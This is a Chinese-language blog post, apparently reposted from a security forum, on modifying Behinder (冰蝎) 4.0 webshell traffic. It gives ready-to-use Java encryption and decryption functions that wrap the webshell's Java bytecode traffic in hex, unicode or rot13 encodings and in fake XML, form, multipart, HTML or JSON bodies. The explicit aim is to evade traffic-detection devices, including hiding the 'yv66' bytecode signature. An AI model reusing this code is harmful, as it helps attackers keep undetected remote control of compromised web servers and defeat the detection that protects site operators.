冰蝎4.0流量分析及魔改

冰蝎4.0流量分析及魔改

0x00 前言

冰蝎v4.0开放了传输协议的自定义功能,使得流量魔改更为简单方便,本文以jsp脚本类型为例,提供一些冰蝎4流量魔改的方式

0x01传输协议分析

冰蝎4内置了如下几种传输协议,传输协议可以理解为流量的加密方式
冰蝎4.0流量分析及魔改
以default_xor传输协议为例,这种传输协议是对原始数据进行了异或加密

效果如下:
冰蝎4.0流量分析及魔改
我们来去掉加密解密函数的相关代码
冰蝎4.0流量分析及魔改
如果不用任何加解密函数,request body其实传输的是java 字节码
冰蝎4.0流量分析及魔改
响应体其实也是明文的固定格式的json类型
{"msg":"执行结果base64编码","status":"c3VjY2Vzcw=="}

0x02冰蝎4.0魔改

变换加密方式

冰蝎4将加解密函数给外置出来,我们可以自己定义通信流量的加密方式,本次列举hex、unicode、rot13等加密方式

hex加密

前面已经分析过传输的data明文数据,所以在它基础上进行base64编码+hex编码,写上加解密函数即可实现hex加密流量
冰蝎4.0流量分析及魔改
加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{

    String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
    String str="";
    for (int i=0;i<result.length();i++){
        int ch = (int)result.charAt(i);
        String s4 = Integer.toHexString(ch);
        str = str + s4;
    }
    return str.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
                String s= new String(data);
        byte[] baKeyword = new byte[s.length()/2];
        for(int i = 0; i < baKeyword.length; i++){
        try{
            baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
        }catch(Exception e){
            e.printStackTrace();
        }
        }
        try{
        s = new String(baKeyword, "utf-8");
        }catch (Exception e1){
        e1.printStackTrace();
        }
        byte[] str = java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));
        return str;
}

通信流量如下:

冰蝎4.0流量分析及魔改

 

unicode加密

在base64编码的基础上加一层unicode编码,写unicode编码的加解密函数

冰蝎4.0流量分析及魔改

 

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{

    String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
    String str="";
    StringBuffer unicode = new StringBuffer();
    for(int i = 0; i < result.length(); i++){
        char c = result.charAt(i);
        unicode.append("u00" + Integer.toHexString(c));
    }
    return unicode.toString().getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
        String unicode= new String(data);
        StringBuilder sb = new StringBuilder();
        int i = -1;
        int pos = 0;
        while ((i = unicode.indexOf("u", pos)) != -1) {
        sb.append(unicode.substring(pos, i));
            if (i + 5 < unicode.length()) {
                    pos = i + 6;
                    sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6), 16));
                }
            }
        byte[] str = java.util.Base64.getDecoder().decode(sb.toString().replace("<","+").replace(">","/"));
        return str;

}

通信流量如下:

 

冰蝎4.0流量分析及魔改

 

rot13加密

在base64编码的基础上加一层rot13编码,写rot13编码的加解密函数

冰蝎4.0流量分析及魔改

 

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
    String input = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
    String str = "";
    for (int i = 0; i < input.length(); i++)
    {
        char ch = input.charAt(i);
        if (ch >= 'A' && ch <= 'Z')
        {
            ch = (char) (ch + 13);
            if (ch > 'Z')
            {
                ch = (char)(ch - 26);
            }
        }
        else if (ch >= 'a' && ch <= 'z')
        {
            ch = (char)(ch + 13);
            if (ch > 'z')
            {
                ch = (char)(ch - 26);
            }
        }
        str = str + ch;
    }
    return str.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{

    String input = new String(data);
    String str = "";
    for (int i = 0; i < input.length(); i++)
    {
        char ch = input.charAt(i);
        if  (ch >= 'A' && ch <= 'Z')
        {
            ch = (char) (ch + 13);
            if (ch > 'Z')
            {
                ch = (char)(ch - 26);
            }
        }
        else if (ch >= 'a' && ch <= 'z')
        {
            ch = (char)(ch + 13);
            if (ch > 'z')
            {
                ch = (char)(ch - 26);
            }
        }
        str = str + ch;
    }
    return java.util.Base64.getDecoder().decode(str.replace("<","+").replace(">","/"));

}

通信流量如下:

冰蝎4.0流量分析及魔改

变换传输方式

之前列举了一些常见的加密方式,单纯对流量进行加密可能会被检测出来,我们可以对通信流量加入一些业务数据进行混淆,可能会更容易绕过防护设备

xml格式传输

将字节码base64编码后的数据替换掉xml模板中指定的字符串就ok了,这样通信流量就变成了xml格式

冰蝎4.0流量分析及魔改

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
    String xml="<?xml version="1.0"?><user><id>1</id><content>DaYer0</content></user>";
    xml=xml.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
    return xml.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{

    java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
    bos.write(data,46,data.length-63);
    return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));
}

通信流量如下:

冰蝎4.0流量分析及魔改

 

key-value格式传输

当然也可以定义一段key-value的数据,然后用base64编码后的数据替换掉指定字符串

冰蝎4.0流量分析及魔改

 

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
    String json="id=1&content=DaYer0&token=1452178369&status=00000";
    json=json.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
    return json.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
    java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
    bos.write(data,13,data.length-43);
    return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));

}

通信流量如下:

冰蝎4.0流量分析及魔改

multipart格式传输

定义一段multipart格式的数据,然后替换指定字符串

冰蝎4.0流量分析及魔改

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
    String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name="uploadFile";filename="test.png" Content-Type:application/octet-stream  DaYer0 -----------------------------7e6103b1815de--";
    upload=upload.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
    return upload.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
    java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
    bos.write(data,150,data.length-195);
    return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));

}

通信流量如下:

冰蝎4.0流量分析及魔改

 

加密方式+传输方式组合

用变换传输方式的方法可以使通信流量更像业务,但是加密流量只进行了一次base64编码,我们知道原始流量是java字节码,在经过base64编码后会有yv66这样的魔术头,这样很容易被检测到,所以我们可以用加密方式和传输方式相结合的方法来躲避检测

xml格式+rot13加密

加密流量最外层进行一次rot13编码,然后再用xml的格式进行混淆

冰蝎4.0流量分析及魔改

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
    String xml="<?xml version="1.0"?><user><id>1</id><content>DaYer0</content></user>";
    String input = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
    String str = "";
    for (int i = 0; i < input.length(); i++)
    {
        char ch = input.charAt(i);
        if (ch >= 'A' && ch <= 'Z')
        {
            ch = (char) (ch + 13);
            if (ch > 'Z')
            {
                ch = (char)(ch - 26);
            }
        }
        else if (ch >= 'a' && ch <= 'z')
        {
            ch = (char)(ch + 13);
            if (ch > 'z')
            {
                ch = (char)(ch - 26);
            }
        }
        str = str + ch;
    }

    xml=xml.replace("DaYer0",str);
    return xml.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{

    java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
    bos.write(data,46,data.length-63);
    String input = new String(bos.toByteArray());
    String str = "";
    for (int i = 0; i < input.length(); i++)
    {
        char ch = input.charAt(i);
        if (ch >= 'A' && ch <= 'Z')
        {
            ch = (char) (ch + 13);
            if (ch > 'Z')
            {
                ch = (char)(ch - 26);
            }
        }
        else if (ch >= 'a' && ch <= 'z')
        {
            ch = (char)(ch + 13);
            if (ch > 'z')
            {
                ch = (char)(ch - 26);
            }
        }
        str = str + ch;
    }
    return java.util.Base64.getDecoder().decode(str.replace("<","+").replace(">","/"));

}

通信流量如下:

冰蝎4.0流量分析及魔改

key-value格式+unicode加密

加密流量最外层进行一次unicode编码,然后再用key-value的格式进行混淆

冰蝎4.0流量分析及魔改

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
    String content="id=1&content=DaYer0&token=1452178369&status=00000";
    String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
    String str="";
    StringBuffer unicode = new StringBuffer();
    for(int i = 0; i < result.length(); i++){
        char c = result.charAt(i);
        unicode.append("u00" + Integer.toHexString(c));
    }
    content=content.replace("DaYer0",unicode.toString());
    return content.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
    java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
        bos.write(data,13,data.length-43);
        String unicode= new String(bos.toByteArray());
        StringBuilder sb = new StringBuilder();
        int i = -1;
        int pos = 0;
        while ((i = unicode.indexOf("u", pos)) != -1) {
        sb.append(unicode.substring(pos, i));
            if (i + 5 < unicode.length()) {
                    pos = i + 6;
                    sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6), 16));
                }
            }
        byte[] str = java.util.Base64.getDecoder().decode(sb.toString().replace("<","+").replace(">","/"));
        return str;    
}

通信流量如下:

冰蝎4.0流量分析及魔改

multipart格式+hex加密

加密流量最外层进行一次hex编码,然后再用multipart的格式进行混淆

冰蝎4.0流量分析及魔改

 

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
    String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name="uploadFile";filename="test.png" Content-Type:application/octet-stream  DaYer0 -----------------------------7e6103b1815de--";
    String str = "";
    String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
        for (int i=0;i<result.length();i++){
        int ch = (int)result.charAt(i);
        String s4 = Integer.toHexString(ch);
        str = str + s4;
    }
    upload=upload.replace("DaYer0",str);
    return upload.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
    java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
    bos.write(data,150,data.length-195);
        String s= new String(bos.toByteArray());
        byte[] baKeyword = new byte[s.length()/2];
        for(int i = 0; i < baKeyword.length; i++){
        try{
            baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
        }catch(Exception e){
            e.printStackTrace();
        }
        }
        try{
        s = new String(baKeyword, "utf-8");
        }catch (Exception e1){
        e1.printStackTrace();
        }
        return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));

}

 

通信流量如下:

冰蝎4.0流量分析及魔改

 

把数据加密为html形式

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
        String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name="uploadFile";filename="test.png" Content-Type:application/octet-stream  DaYer0 -----------------------------7e6103b1815de--";
        String str = "";
        String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
        for (int i=0;i<result.length();i++){
            int ch = (int)result.charAt(i);
            String s4 = Integer.toHexString(ch);
            s4 = s4.replace("a", "<a>")
                    .replace("b", "</a>")
                    .replace("c", "<img>")
                    .replace("d", "</img>")
                    .replace("e", "<p>")
                    .replace("f", "</p>")
                    .replace("1", "<id>")
                    .replace("2", "</id>")
                    .replace("3", "<li>")
                    .replace("4", "</li>")
                    .replace("5", "<div>")
                    .replace("6", "</div>")
                    .replace("7", "<ul>")
                    .replace("8", "</ul>")
                    .replace("9", "<span>")
                    .replace("0", "</span>");
            str = str + s4;
        }
        upload=upload.replace("DaYer0",str);
        return upload.getBytes();
}

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
    java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
    bos.write(data,150,data.length-195);
        //String s= new String(bos.toByteArray());
         byte[] writtenData = bos.toByteArray(); // 获取写入的数据
        String writtenDataString = new String(writtenData); // 将字节数组转换为字符串
        System.out.println(writtenDataString); // 打印写入的数据
       // String s= new String(bos.toByteArray());


        String  s = writtenDataString.replace("<a>", "a")
                    .replace("</a>", "b")
                    .replace("<img>", "c")
                    .replace("</img>", "d")
                    .replace("<p>", "e")
                    .replace("</p>", "f")
                    .replace("<id>", "1")
                    .replace("</id>", "2")
                    .replace("<li>", "3")
                    .replace("</li>", "4")
                    .replace("<div>", "5")
                    .replace("</div>", "6")
                    .replace("<ul>", "7")
                    .replace("</ul>", "8")
                    .replace("<span>", "9")
                    .replace("</span>", "0");
        


            byte[] baKeyword = new byte[s.length()/2];
            for(int i = 0; i < baKeyword.length; i++){
                try{
                    baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));

                }catch(Exception e){
                    e.printStackTrace();
                }
            }
            try{
                s = new String(baKeyword, "utf-8");
            }catch (Exception e1){
                e1.printStackTrace();
            }
        System.out.println(s);

        return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));

}

通信流量如下:

冰蝎4.0流量分析及魔改

 

我们也可以稍微变换一下,让他看起来像传输json一样

加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
        String upload="{ "status":200, html:" XXYYZZ"}";
        String str = "";
        String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
        for (int i=0;i<result.length();i++){
            int ch = (int)result.charAt(i);
            String s4 = Integer.toHexString(ch);
            s4 = s4.replace("a", "<a>")
                    .replace("b", "</a>")
                    .replace("c", "<img>")
                    .replace("d", "</img>")
                    .replace("e", "<p>")
                    .replace("f", "</p>")
                    .replace("1", "<id>")
                    .replace("2", "</id>")
                    .replace("3", "<li>")
                    .replace("4", "</li>")
                    .replace("5", "<div>")
                    .replace("6", "</div>")
                    .replace("7", "<ul>")
                    .replace("8", "</ul>")
                    .replace("9", "<span>")
                    .replace("0", "</span>");
            str = str + s4;
        }
        upload=upload.replace("XXYYZZ",str);
        return upload.getBytes();
}

 

解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
    java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
    bos.write(data,23,data.length-25);
        //String s= new String(bos.toByteArray());
         byte[] writtenData = bos.toByteArray(); // 获取写入的数据
        String writtenDataString = new String(writtenData); // 将字节数组转换为字符串
        System.out.println(writtenDataString); // 打印写入的数据
       // String s= new String(bos.toByteArray());


        String  s = writtenDataString.replace("<a>", "a")
                    .replace("</a>", "b")
                    .replace("<img>", "c")
                    .replace("</img>", "d")
                    .replace("<p>", "e")
                    .replace("</p>", "f")
                    .replace("<id>", "1")
                    .replace("</id>", "2")
                    .replace("<li>", "3")
                    .replace("</li>", "4")
                    .replace("<div>", "5")
                    .replace("</div>", "6")
                    .replace("<ul>", "7")
                    .replace("</ul>", "8")
                    .replace("<span>", "9")
                    .replace("</span>", "0");
        


            byte[] baKeyword = new byte[s.length()/2];
            for(int i = 0; i < baKeyword.length; i++){
                try{
                    baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));

                }catch(Exception e){
                    e.printStackTrace();
                }
            }
            try{
                s = new String(baKeyword, "utf-8");
            }catch (Exception e1){
                e1.printStackTrace();
            }
        System.out.println(s);

        return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));

}

通信流量如下:

冰蝎4.0流量分析及魔改

 

 

文章来源:

https://xz.aliyun.com/t/12453

 

THE END
分享
二维码
海报
冰蝎4.0流量分析及魔改
冰蝎4.0流量分析及魔改 0x00 前言 冰蝎v4.0开放了传输协议的自定义功能,使得流量魔改更为简单方便,本文以jsp脚本类型为例,提供一些冰蝎4流量魔改的方式 0x01传输协议分析 冰蝎4内置了如下几种传输协议,传输协……
<<上一篇
下一篇>>